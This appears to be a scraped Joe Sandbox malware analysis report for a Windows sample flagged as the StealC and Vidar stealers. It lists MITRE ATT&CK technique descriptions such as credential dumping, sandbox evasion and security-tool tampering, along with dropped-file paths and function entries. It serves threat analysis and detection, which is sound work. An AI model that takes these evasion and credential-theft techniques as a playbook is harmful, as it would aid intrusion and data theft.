Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFIDGCFHIEHJJJJECAK

C:\ProgramData\BFBGDGIDBAAEBFHJKJDGCGCGDG

C:\ProgramData\CBKJEGCB

C:\ProgramData\GIDHDGCBFBKECBFHCAFHJDBGHC

C:\ProgramData\HIEHDAFH

C:\ProgramData\HIIIDAKKJJJKKECAKKJE

C:\ProgramData\IEGCBAAFHDHDHJKEGCFCBFHJDH

C:\ProgramData\IJKFHDBKFCAAECBFIDHJECBKEB

C:\ProgramData\JJKFBAKFBGDHIEBGDAKF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00339860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 003245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 0032BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00334910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00339C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00327710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre